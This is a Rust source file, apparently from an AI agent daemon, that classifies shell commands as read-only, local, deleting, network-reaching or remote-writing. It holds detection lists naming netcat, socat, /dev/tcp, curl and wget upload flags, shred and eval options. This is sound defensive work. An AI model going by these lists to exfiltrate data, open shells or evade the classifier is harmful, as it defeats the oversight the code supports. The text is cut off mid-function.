1use crate::command_risk::structural_shell_invocations;
12use aidaemon_core::{CallEffects, EffectClass, EffectKey};
13
14#[derive(Debug, Clone, PartialEq, Eq)]
15pub struct CommandEffects {
16 pub observation_only: bool,
18 pub deletes: bool,
21 pub local_work_only: bool,
26 pub delete_targets: Option<Vec<String>>,
30 pub runs_project_code: bool,
38}
39
40const OBSERVATION_PROGRAMS: &[&str] = &[
45 "ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
46 "pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
47 "uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
48 "hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
49];
50
51const SYSTEM_BIN_DIRS: &[&str] = &[
52 "/bin",
53 "/usr/bin",
54 "/usr/local/bin",
55 "/opt/homebrew/bin",
56 "/sbin",
57 "/usr/sbin",
58];
59
60const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
61
62const LOCAL_WORK_PROGRAMS: &[&str] = &[
68 "make",
69 "cmake",
70 "ninja",
71 "pytest",
72 "rustc",
73 "xcodebuild",
74 "mkdir",
75 "touch",
76 "cp",
77 "mv",
78 "ln",
79 "chmod",
80 "cd",
81 "rm",
82 "rmdir",
83 "unlink",
84];
85
86const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
87 (
88 "cargo",
89 &[
90 "build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
91 ],
92 ),
93 (
94 "git",
95 &[
96 "add",
97 "commit",
98 "status",
99 "diff",
100 "log",
101 "show",
102 "branch",
103 "switch",
104 "checkout",
105 "restore",
106 "stash",
107 "merge",
108 "rebase",
109 "reset",
110 "tag",
111 "rm",
112 "mv",
113 "init",
114 "worktree",
115 "rev-parse",
116 "ls-files",
117 "blame",
118 ],
119 ),
120 ("npm", &["test", "run", "build", "lint"]),
121 ("pnpm", &["test", "run", "build", "lint"]),
122 ("yarn", &["test", "run", "build", "lint"]),
123 ("go", &["build", "test", "vet", "fmt", "run"]),
124 ("swift", &["build", "test"]),
125];
126
127const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];
129
130const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
134 ("wp", "core", &["is-installed", "version"]),
135 ("wp", "option", &["get", "list"]),
136 (
137 "wp",
138 "plugin",
139 &["list", "status", "is-installed", "is-active"],
140 ),
141 (
142 "wp",
143 "theme",
144 &["list", "status", "is-installed", "is-active"],
145 ),
146 ("wp", "user", &["list", "get"]),
147 ("wp", "post", &["list", "get"]),
148];
149
150const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];
152
153const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];
155
156fn ddev_query_ok(args: &[String]) -> bool {
161 if args.iter().any(|arg| {
162 DDEV_TOOL_CODE_OPTIONS
163 .iter()
164 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
165 }) {
166 return false;
167 }
168 let words: Vec<&str> = args
169 .iter()
170 .map(String::as_str)
171 .filter(|arg| !arg.starts_with('-'))
172 .collect();
173 match words.as_slice() {
174 [sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
175 ["drush", command, ..] => DRUSH_QUERIES.contains(command),
176 [tool, command, sub, ..] => DDEV_TOOL_QUERIES
177 .iter()
178 .any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
179 _ => false,
180 }
181}
182
183const FIND_MUTATING_FLAGS: &[&str] = &[
184 "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
185];
186
187const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
188 "status",
189 "log",
190 "diff",
191 "show",
192 "rev-parse",
193 "ls-files",
194 "blame",
195 "rev-list",
196];
197
198const WRAPPERS: &[&str] = &[
202 "sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
203 "env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
204 "until",
205];
206
207const NETWORK_PROGRAMS: &[&str] = &[
209 "curl",
210 "wget",
211 "http",
212 "https",
213 "xh",
214 "nc",
215 "ncat",
216 "netcat",
217 "telnet",
218 "ssh",
219 "scp",
220 "sftp",
221 "rsync",
222 "ftp",
223 "lftp",
224 "aria2c",
225 "gh",
226 "npx",
227 "bunx",
228 "uvx",
229 "svn",
230 "socat",
231 "ping",
232 "dig",
233 "host",
234 "nslookup",
235 "whois",
236 "tftp",
237 "mosh",
238 "rclone",
239 "aws",
240 "gcloud",
241 "kubectl",
242 "invoke-webrequest",
243];
244
245const POWERSHELL_OBSERVATIONS: &[&str] = &[
253 "get-content",
254 "gc",
255 "type",
256 "get-childitem",
257 "gci",
258 "dir",
259 "get-item",
260 "gi",
261 "get-itemproperty",
262 "gp",
263 "get-location",
264 "gl",
265 "test-path",
266 "resolve-path",
267 "rvpa",
268 "split-path",
269 "join-path",
270 "select-string",
271 "sls",
272 "get-date",
273 "get-process",
274 "gps",
275 "get-filehash",
276 "measure-object",
277 "measure",
278 "sort-object",
279 "select-object",
280 "select",
281 "compare-object",
282 "format-list",
283 "fl",
284 "format-table",
285 "ft",
286 "format-wide",
287 "fw",
288 "out-string",
289 "out-null",
290 "out-host",
291 "write-output",
292 "write",
293 "write-host",
294 "start-sleep",
295];
296
297const POWERSHELL_LOCAL_WORK: &[&str] = &[
301 "new-item",
302 "ni",
303 "md",
304 "set-content",
305 "sc",
306 "add-content",
307 "ac",
308 "out-file",
309 "copy-item",
310 "copy",
311 "cpi",
312 "move-item",
313 "move",
314 "mi",
315 "rename-item",
316 "ren",
317 "rni",
318 "set-location",
319 "sl",
320 "chdir",
321 "push-location",
322 "pushd",
323 "pop-location",
324 "popd",
325];
326
327const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];
330
331fn in_powershell_table(table: &[&str], program: &str) -> bool {
333 cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
334}
335
336fn powershell_args_plain(args: &[String]) -> bool {
338 !args
339 .iter()
340 .any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
341}
342
343fn is_powershell_observation(program: &str, args: &[String]) -> bool {
345 in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
346}
347
348fn is_program_observation(program: &str, args: &[String]) -> bool {
351 (OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
352 || is_powershell_observation(program, args)
353}
354
355fn is_delete_program(program: &str) -> bool {
358 DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
359}
360
361fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
366 if cfg!(windows) && command.contains('\\') {
367 std::borrow::Cow::Owned(command.replace('\\', "/"))
368 } else {
369 std::borrow::Cow::Borrowed(command)
370 }
371}
372
373const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
375 (
376 "git",
377 &[
378 "fetch",
379 "clone",
380 "pull",
381 "ls-remote",
382 "submodule",
383 "push",
384 "update",
385 ],
386 ),
387 (
388 "npm",
389 &[
390 "install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
391 "publish",
392 ],
393 ),
394 (
395 "pnpm",
396 &[
397 "install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
398 ],
399 ),
400 (
401 "yarn",
402 &[
403 "install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
404 ],
405 ),
406 ("pip", &["install", "download"]),
407 ("pip3", &["install", "download"]),
408 (
409 "cargo",
410 &[
411 "install", "add", "update", "fetch", "search", "view", "info", "publish",
412 ],
413 ),
414 ("bun", &["install", "add", "i"]),
415 ("uv", &["pip", "add", "sync"]),
416 ("brew", &["install", "update", "upgrade", "fetch"]),
417 ("go", &["get", "install", "download"]),
418 ("docker", &["pull", "run", "build", "push"]),
419 ("gem", &["install"]),
420 ("apt", &["install", "update"]),
421 ("apt-get", &["install", "update"]),
422 ("hg", &["pull", "clone"]),
423 ("openssl", &["s_client"]),
424];
425
426pub fn sends_remote_write(command: &str) -> bool {
432 expanded_commands(command).iter().any(|tokens| {
433 let args = &tokens[1..];
434 match basename(&tokens[0]) {
435 "curl" => curl_sends_write(args),
436 "wget" => wget_sends_write(args),
437 "git" => git_subcommand(args) == Some("push"),
438 _ => false,
439 }
440 })
441}
442
443fn writes_with_method(method: &str) -> bool {
444 !matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
445}
446
447fn curl_sends_write(args: &[String]) -> bool {
448 let mut iter = args.iter();
449 while let Some(arg) = iter.next() {
450 if let Some(long) = arg.strip_prefix("--") {
451 let (name, inline) = match long.split_once('=') {
452 Some((name, value)) => (name, Some(value)),
453 None => (long, None),
454 };
455 if name == "request" {
456 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
457 if method.is_none_or(|method| writes_with_method(&method)) {
458 return true;
459 }
460 } else if name.starts_with("data")
461 || name == "json"
462 || name.starts_with("form")
463 || name == "upload-file"
464 {
465 return true;
466 }
467 } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
468 for (at, c) in cluster.char_indices() {
470 match c {
471 'd' | 'F' | 'T' => return true,
472 'X' => {
473 let rest = &cluster[at + 1..];
474 let method = if rest.is_empty() {
475 iter.next().cloned()
476 } else {
477 Some(rest.to_string())
478 };
479 if method.is_none_or(|method| writes_with_method(&method)) {
480 return true;
481 }
482 break;
483 }
484 _ => {}
485 }
486 }
487 }
488 }
489 false
490}
491
492fn wget_sends_write(args: &[String]) -> bool {
493 let mut iter = args.iter();
494 while let Some(arg) = iter.next() {
495 let Some(long) = arg.strip_prefix("--") else {
496 continue;
497 };
498 let (name, inline) = match long.split_once('=') {
499 Some((name, value)) => (name, Some(value)),
500 None => (long, None),
501 };
502 match name {
503 "post-data" | "post-file" | "body-data" | "body-file" => return true,
504 "method" => {
505 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
506 if method.is_none_or(|method| writes_with_method(&method)) {
507 return true;
508 }
509 }
510 _ => {}
511 }
512 }
513 false
514}
515
516fn git_subcommand(args: &[String]) -> Option<&str> {
519 let mut iter = args.iter();
520 while let Some(arg) = iter.next() {
521 if arg == "-C" || arg == "-c" {
522 iter.next();
523 } else if !arg.starts_with('-') {
524 return Some(arg);
525 }
526 }
527 None
528}
529
530pub fn fetches_network(command: &str) -> bool {
533 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
534 return true;
535 }
536 expanded_commands(command).iter().any(|tokens| {
537 let program = basename(&tokens[0]);
538 let args = &tokens[1..];
539 if NETWORK_PROGRAMS.contains(&program) {
540 return true;
541 }
542 if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
543 return true;
544 }
545 if program == "git" {
546 let has = |word: &str| args.iter().any(|arg| arg == word);
547 if (has("remote") && has("update"))
548 || (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
549 {
550 return true;
551 }
552 }
553 NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
554 *name == program
555 && args
556 .iter()
557 .any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
558 })
559 })
560}
561
562pub fn is_git_config_path(path: &str) -> bool {
574 let raw = path_components(path);
575 if raw.iter().any(|part| is_repo_config_component(part)) {
576 return true;
577 }
578 let expanded = expand_home(path);
579 let normalized = normalize_components(&path_components(&expanded));
580 if normalized.iter().any(|part| is_repo_config_component(part))
581 || normalized.windows(2).any(|pair| {
582 pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
583 })
584 {
585 return true;
586 }
587 let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
588 if absolute
589 && normalized.len() == 2
590 && normalized[0].eq_ignore_ascii_case("etc")
591 && normalized[1].eq_ignore_ascii_case("gitconfig")
592 {
593 return true;
594 }
595 let under = |base: std::path::PathBuf| {
596 let base = normalize_components(&path_components(&base.to_string_lossy()));
597 absolute
598 && !base.is_empty()
599 && normalized.len() > base.len()
600 && normalized
601 .iter()
602 .zip(&base)
603 .all(|(a, b)| a.eq_ignore_ascii_case(b))
604 };
605 if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
606 return true;
607 }
608 std::env::var_os("XDG_CONFIG_HOME")
609 .filter(|value| !value.is_empty())
610 .is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
611}
612
613fn path_components(path: &str) -> Vec<String> {
616 path.split(['/', '\\'])
617 .filter(|part| !part.is_empty())
618 .map(|part| {
619 if part == "." || part == ".." {
620 part.to_string()
621 } else {
622 part.trim_end_matches(['.', ' ']).to_string()
623 }
624 })
625 .filter(|part| !part.is_empty())
626 .collect()
627}
628
629fn normalize_components(parts: &[String]) -> Vec<String> {
630 let mut out: Vec<String> = Vec::new();
631 for part in parts {
632 match part.as_str() {
633 "." => {}
634 ".." => {
635 if out.last().is_some_and(|last| last != "..") {
636 out.pop();
637 } else {
638 out.push(part.clone());
639 }
640 }
641 _ => out.push(part.clone()),
642 }
643 }
644 out
645}
646
647fn is_repo_config_component(part: &str) -> bool {
648 [".git", ".gitattributes", ".gitmodules", ".gitconfig"]
649 .iter()
650 .any(|name| part.eq_ignore_ascii_case(name))
651}
652
653fn expand_home(path: &str) -> String {
654 let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
655 path.strip_prefix(prefix)
656 .filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
657 });
658 match (rest, dirs::home_dir()) {
659 (Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
660 _ => path.to_string(),
661 }
662}
663
664pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
668 let root = root.trim();
669 if root.is_empty() {
670 return false;
671 }
672 let mut path = std::path::PathBuf::from(expand_home(root));
673 if path.is_relative()
674 && let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
675 {
676 path = std::path::PathBuf::from(expand_home(base)).join(path);
677 }
678 path.join(".git").exists()
679}
680
681pub fn command_names_git_config_path(command: &str) -> bool {
685 names_git_config(command, 0)
686}
687
688fn names_git_config(command: &str, depth: usize) -> bool {
689 if depth > MAX_DEPTH {
690 return false;
691 }
692 let scanned = scan(command);
693 for segment in &scanned.segments {
694 let words = shell_words::split(segment)
695 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
696 for word in words {
697 let target = word.trim_start_matches(|c: char| {
698 c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
699 });
700 let operand = word.split_once('=').map(|(_, value)| value);
701 if [Some(word.as_str()), Some(target), operand]
702 .into_iter()
703 .flatten()
704 .any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
705 {
706 return true;
707 }
708 if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
709 return true;
710 }
711 }
712 }
713 substitution_bodies(command)
714 .iter()
715 .any(|body| names_git_config(body, depth + 1))
716}
717
718pub fn command_effects(command: &str) -> CommandEffects {
719 let deletes = command.contains("$'")
722 || expanded_commands(command).iter().any(|tokens| {
723 let program = basename(&tokens[0]);
724 let args = &tokens[1..];
725 is_delete_program(program)
726 || (program == "find" && args.iter().any(|arg| arg == "-delete"))
727 || (program == "git" && args.iter().any(|arg| arg == "clean"))
728 });
729 CommandEffects {
730 observation_only: is_observation_only(command),
731 deletes,
732 local_work_only: is_local_work_only(command),
733 runs_project_code: command.contains("$'")
734 || expanded_commands(command)
735 .iter()
736 .any(|tokens| runs_project_code(basename(&tokens[0]), &tokens[1..])),
737 delete_targets: if command.contains("$'") {
738 None
739 } else {
740 delete_targets(command)
741 },
742 }
743}
744
745fn delete_targets(command: &str) -> Option<Vec<String>> {
753 let unreadable = |target: &str| {
754 target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
755 };
756 let commands = expanded_commands(command);
757 let changes_directory = commands
758 .iter()
759 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
760 let mut targets: Vec<String> = Vec::new();
761 for tokens in &commands {
762 let program = basename(&tokens[0]);
763 let args = &tokens[1..];
764 let named: Vec<&String> = if is_delete_program(program) {
765 let mut options_done = false;
766 args.iter()
767 .filter(|arg| {
768 if options_done {
769 return true;
770 }
771 if arg.as_str() == "--" {
772 options_done = true;
773 return false;
774 }
775 !arg.starts_with('-')
776 })
777 .collect()
778 } else if program == "find" && args.iter().any(|arg| arg == "-delete") {
779 if args.first().is_none_or(|arg| arg.starts_with('-')) {
783 return None;
784 }
785 args.iter()
786 .take_while(|arg| !arg.starts_with(['-', '(', '!']))
787 .collect()
788 } else if program == "git" && args.iter().any(|arg| arg == "clean") {
789 return None;
790 } else {
791 continue;
792 };
793 if named.is_empty() || named.iter().any(|target| unreadable(target)) {
794 return None;
795 }
796 if changes_directory
797 && named
798 .iter()
799 .any(|target| !crate::BackendPath::is_absolute(target))
800 {
801 return None;
802 }
803 for target in named {
804 if !targets.contains(target) {
805 targets.push(target.clone());
806 }
807 }
808 }
809 Some(targets)
810}
811
812pub fn path_operands(command: &str) -> Option<Vec<String>> {
821 if command.contains("$'") {
822 return None;
823 }
824 let unreadable = |operand: &str| {
825 let rest = operand
826 .strip_prefix("~/")
827 .or_else(|| (operand == "~").then_some(""))
828 .unwrap_or(operand);
829 rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
830 };
831 let commands = expanded_commands(command);
832 let mut operands: Vec<String> = Vec::new();
833 for line in command.replace("\\\n", " ").split('\n') {
835 for target in scan(line).input_targets {
836 if unreadable(&target) || target.contains(['"', '\'']) {
837 return None;
838 }
839 if !operands.contains(&target) {
840 operands.push(target);
841 }
842 }
843 }
844 for tokens in &commands {
845 if matches!(
848 basename(&tokens[0]),
849 "cd" | "pushd" | "popd" | "xargs" | "parallel"
850 ) {
851 return None;
852 }
853 let mut options_done = false;
854 for arg in &tokens[1..] {
855 let operand = if options_done || !arg.starts_with('-') {
856 arg.as_str()
857 } else if arg == "--" {
858 options_done = true;
859 continue;
860 } else if let Some((_, value)) = arg.split_once('=') {
861 value
862 } else if arg.contains(['/', '~']) {
863 return None;
864 } else {
865 continue;
866 };
867 if operand.is_empty() {
868 continue;
869 }
870 if unreadable(operand) {
871 return None;
872 }
873 if !operands.iter().any(|known| known == operand) {
874 operands.push(operand.to_string());
875 }
876 }
877 }
878 Some(operands)
879}
880
881pub fn literal_path_operands(command: &str) -> Vec<String> {
888 let literal = |operand: &str| {
889 let rest = operand
890 .strip_prefix("~/")
891 .or_else(|| (operand == "~").then_some(""))
892 .unwrap_or(operand);
893 !operand.is_empty()
894 && !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
895 };
896 let commands = expanded_commands(command);
897 let moves = commands.iter().any(|tokens| {
898 tokens
899 .first()
900 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
901 });
902 let mut operands: Vec<String> = Vec::new();
903 let mut add = |operand: &str| {
904 let anchored =
905 crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
906 if literal(operand)
907 && (anchored || !moves)
908 && !operands.iter().any(|known| known == operand)
909 {
910 operands.push(operand.to_string());
911 }
912 };
913 for line in command.replace("\\\n", " ").split('\n') {
914 for target in scan(line).input_targets {
915 add(&target);
916 }
917 }
918 for tokens in &commands {
919 let mut options_done = false;
920 for arg in tokens.iter().skip(1) {
921 if options_done || !arg.starts_with('-') {
922 add(arg);
923 } else if arg == "--" {
924 options_done = true;
925 } else if let Some((_, value)) = arg.split_once('=') {
926 add(value);
927 }
928 }
929 }
930 operands
931}
932
933const PROJECT_CODE_RUNNERS: &[(&str, &[&str])] = &[
937 ("make", &[]),
938 ("gmake", &[]),
939 ("cmake", &[]),
940 ("ninja", &[]),
941 ("pytest", &[]),
942 ("tox", &[]),
943 ("nox", &[]),
944 ("xcodebuild", &[]),
945 ("gradle", &[]),
946 ("gradlew", &[]),
947 ("mvn", &[]),
948 ("rake", &[]),
949 ("python", &[]),
950 ("python3", &[]),
951 ("node", &[]),
952 ("deno", &[]),
953 ("bun", &[]),
954 ("ruby", &[]),
955 ("perl", &[]),
956 ("php", &[]),
957 (
958 "cargo",
959 &[
960 "build", "b", "check", "c", "test", "t", "clippy", "run", "r", "bench", "doc", "d",
961 "install",
962 ],
963 ),
964 (
965 "npm",
966 &[
967 "test",
968 "t",
969 "run",
970 "run-script",
971 "build",
972 "lint",
973 "start",
974 "install",
975 "i",
976 "ci",
977 "exec",
978 "x",
979 ],
980 ),
981 (
982 "pnpm",
983 &[
984 "test", "t", "run", "build", "lint", "start", "install", "i", "exec", "dlx",
985 ],
986 ),
987 (
988 "yarn",
989 &["test", "run", "build", "lint", "start", "install"],
990 ),
991 ("npx", &[]),
992 ("go", &["test", "run", "generate"]),
993 ("swift", &["build", "test", "run"]),
994];
995
996fn runs_project_code(program: &str, args: &[String]) -> bool {
999 let program = program.strip_suffix(".exe").unwrap_or(program);
1000 let Some((_, subcommands)) = PROJECT_CODE_RUNNERS
1001 .iter()
1002 .find(|(name, _)| *name == program)
1003 else {
1004 return false;
1005 };
1006 if subcommands.is_empty() {
1007 return true;
1008 }
1009 args.iter()
1011 .map(String::as_str)
1012 .find(|arg| !arg.starts_with('-') && !arg.starts_with('+'))
1013 .is_none_or(|subcommand| subcommands.contains(&subcommand))
1014}
1015
1016fn is_local_work_only(command: &str) -> bool {
1017 every_segment(command, &local_work_args_ok)
1018}
1019
1020pub fn reaches_only_this_computer(command: &str) -> bool {
1031 if sends_remote_write(command) {
1032 return false;
1033 }
1034 every_segment(command, &|program, args| match program {
1035 "cd" => true,
1036 "ddev" => ddev_query_ok(args),
1037 "curl" | "wget" => reads_only_local_sites(program, args),
1038 _ => is_program_observation(program, args),
1039 })
1040}
1041
1042const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
1045 ("drush", "php:eval"),
1046 ("drush", "php-eval"),
1047 ("drush", "eval"),
1048 ("drush", "ev"),
1049 ("drush", "php:script"),
1050 ("drush", "php-script"),
1051 ("drush", "scr"),
1052 ("drush", "php"),
1053 ("drush", "php:cli"),
1054 ("drush", "core:cli"),
1055 ("drush", "cli"),
1056 ("wp", "eval"),
1057 ("wp", "eval-file"),
1058 ("wp", "shell"),
1059];
1060
1061pub fn acts_on_its_ddev_project(command: &str) -> bool {
1071 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1072 {
1073 return false;
1074 }
1075 every_segment(command, &|program, args| {
1076 program == "ddev"
1077 && !args.iter().any(|arg| {
1078 arg.contains("://")
1079 || DDEV_TOOL_CODE_OPTIONS
1080 .iter()
1081 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
1082 })
1083 && match args
1084 .iter()
1085 .map(String::as_str)
1086 .filter(|arg| !arg.starts_with('-'))
1087 .collect::<Vec<_>>()
1088 .as_slice()
1089 {
1090 [tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
1091 .iter()
1092 .any(|(t, c)| t == tool && c == command),
1093 _ => false,
1094 }
1095 })
1096}
1097
1098pub fn only_reads_this_computer(command: &str) -> bool {
1106 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1107 {
1108 return false;
1109 }
1110 every_segment(command, &|program, args| match program {
1111 "cd" => true,
1112 "ddev" => ddev_query_ok(args),
1113 "curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
1114 _ => is_program_observation(program, args),
1115 })
1116}
1117
1118pub fn only_reads(command: &str) -> bool {
1124 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1125 {
1126 return false;
1127 }
1128 every_segment(command, &|program, args| match program {
1129 "cd" => true,
1130 "ddev" => ddev_query_ok(args),
1131 "curl" => !curl_saves_files(args),
1132 _ => is_program_observation(program, args),
1133 })
1134}
1135
1136pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
1144 remote_inner_script(command).map(|inner| only_reads(&inner))
1145}
1146
1147pub fn recognizably_changes(command: &str) -> bool {
1155 let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
1156 if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
1157 return true;
1158 }
1159 expanded_commands(&text).iter().any(|tokens| {
1160 let args = &tokens[1..];
1161 match basename(&tokens[0]) {
1162 "mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
1163 | "patch" | "truncate" => true,
1164 "sed" => args
1165 .iter()
1166 .any(|arg| arg.starts_with("-i") || arg == "--in-place"),
1167 "apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
1168 | "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
1169 "apk" => args.iter().any(|arg| arg == "add"),
1170 "git" => matches!(
1171 git_subcommand(args),
1172 Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
1173 ),
1174 _ => false,
1175 }
1176 })
1177}
1178
1179fn remote_inner_script(command: &str) -> Option<String> {
1181 let segments: Vec<String> = scan(command)
1182 .segments
1183 .into_iter()
1184 .filter(|segment| !segment.trim().is_empty())
1185 .collect();
1186 let [segment] = segments.as_slice() else {
1187 return None;
1188 };
1189 let tokens = shell_words::split(segment).ok()?;
1190 let program = basename(tokens.first()?);
1191 let second = tokens.get(1).map(String::as_str);
1192 let third = tokens.get(2).map(String::as_str);
1193 let (start, valued): (usize, &[&str]) = match program {
1195 "docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
1196 2,
1197 &[
1198 "-e",
1199 "--env",
1200 "-u",
1201 "--user",
1202 "-w",
1203 "--workdir",
1204 "--env-file",
1205 ],
1206 ),
1207 "docker" | "podman" if second == Some("compose") && third == Some("exec") => (
1209 3,
1210 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1211 ),
1212 "docker-compose" | "podman-compose" if second == Some("exec") => (
1213 2,
1214 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1215 ),
1216 "lxc" | "incus" if second == Some("exec") => {
1218 let dash = tokens.iter().position(|token| token == "--")?;
1219 return inner_text(&tokens[dash + 1..]);
1220 }
1221 "vagrant" if second == Some("ssh") => {
1223 let flag = tokens
1224 .iter()
1225 .position(|token| token == "-c" || token == "--command")?;
1226 return tokens.get(flag + 1).cloned();
1227 }
1228 "gcloud" if second == Some("compute") && third == Some("ssh") => {
1230 return tokens.iter().enumerate().find_map(|(index, token)| {
1231 if token == "--command" {
1232 tokens.get(index + 1).cloned()
1233 } else {
1234 token.strip_prefix("--command=").map(str::to_string)
1235 }
1236 });
1237 }
1238 "kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
1239 let dash = tokens.iter().position(|token| token == "--")?;
1240 return inner_text(&tokens[dash + 1..]);
1241 }
1242 "ssh" => (
1243 1,
1244 &[
1245 "-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
1246 "-O", "-Q", "-S", "-w",
1247 ],
1248 ),
1249 _ => return None,
1250 };
1251 let mut index = start;
1252 while let Some(token) = tokens.get(index) {
1253 if token == "--" {
1254 index += 1;
1255 break;
1256 }
1257 if !token.starts_with('-') {
1258 break;
1259 }
1260 index += if valued.contains(&token.as_str()) {
1261 2
1262 } else {
1263 1
1264 };
1265 }
1266 let rest = tokens.get(index + 1..)?;
1267 if program == "ssh" {
1270 return (!rest.is_empty()).then(|| rest.join(" "));
1271 }
1272 inner_text(rest)
1274}
1275
1276fn inner_text(tokens: &[String]) -> Option<String> {
1279 let first = tokens.first()?;
1280 if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
1281 let flag = tokens[1..].iter().position(|token| {
1282 token.starts_with('-') && !token.starts_with("--") && token.contains('c')
1283 })?;
1284 return tokens.get(flag + 2).cloned();
1285 }
1286 Some(shell_words::join(tokens))
1287}
1288
1289fn curl_saves_files(args: &[String]) -> bool {
1292 const LONG: &[&str] = &[
1293 "--output",
1294 "--remote-name",
1295 "--remote-name-all",
1296 "--dump-header",
1297 "--cookie-jar",
1298 "--trace",
1299 "--trace-ascii",
1300 "--stderr",
1301 "--libcurl",
1302 "--etag-save",
1303 "--hsts",
1304 "--alt-svc",
1305 "--create-dirs",
1306 "--output-dir",
1307 ];
1308 let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
1309 args.iter().enumerate().any(|(index, arg)| {
1310 let next = args.get(index + 1);
1311 if arg == "--output" || arg == "-o" {
1312 return !to_null(next);
1313 }
1314 if let Some(value) = arg.strip_prefix("--output=") {
1315 return value != "/dev/null";
1316 }
1317 if LONG
1318 .iter()
1319 .any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
1320 {
1321 return true;
1322 }
1323 if short_cluster_has(arg, &['O', 'D', 'c']) {
1324 return true;
1325 }
1326 if arg.starts_with('-')
1329 && !arg.starts_with("--")
1330 && let Some(at) = arg.find('o')
1331 {
1332 return if at + 1 == arg.len() {
1333 !to_null(next)
1334 } else {
1335 &arg[at + 1..] != "/dev/null"
1336 };
1337 }
1338 false
1339 })
1340}
1341
1342pub fn program_label(command: &str) -> String {
1346 let first = scan(command)
1348 .segments
1349 .into_iter()
1350 .filter_map(|segment| shell_words::split(&segment).ok())
1351 .find(|words| {
1352 words
1353 .iter()
1354 .find(|word| !is_env_assignment(word))
1355 .is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
1356 })
